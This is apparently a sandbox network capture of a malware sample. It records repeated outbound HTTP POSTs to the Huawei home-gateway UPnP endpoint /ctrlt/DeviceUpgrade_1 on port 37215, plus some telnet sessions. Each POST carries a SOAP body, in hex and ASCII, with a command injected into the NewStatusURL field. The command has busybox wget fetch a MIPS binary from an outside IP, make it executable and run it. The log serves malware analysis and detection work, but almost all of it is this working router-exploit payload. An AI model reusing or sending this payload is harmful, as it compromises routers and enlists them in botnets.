xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 2, 2024 06:25:03.111864090 CET	870	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
180	192.168.2.23	52816	49.232.101.104	23

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:16.208700895 CET	171	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 32 31 32 2e 31 30 32 2e 34 31 2e 32 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 31 2d 30 32 20 31 33 3a 32 34 3a 31 35 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 3f 3f 3f 3f 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 212.102.41.2MAC Address: Server Time: 2024-01-02 13:24:15Auth Result: ????.

Session ID	Source IP	Source Port	Destination IP	Destination Port
181	192.168.2.23	48376	156.253.36.6	37215

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:16.442516088 CET	870	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 2, 2024 06:24:17.966195107 CET	870	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 2, 2024 06:24:19.757950068 CET	870	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 2, 2024 06:24:23.437449932 CET	870	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 2, 2024 06:24:30.604446888 CET	870	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 2, 2024 06:24:44.938446045 CET	870	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 2, 2024 06:25:13.350416899 CET	870	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
182	192.168.2.23	52830	49.232.101.104	23

Timestamp	Bytes transferred	Direction	Data
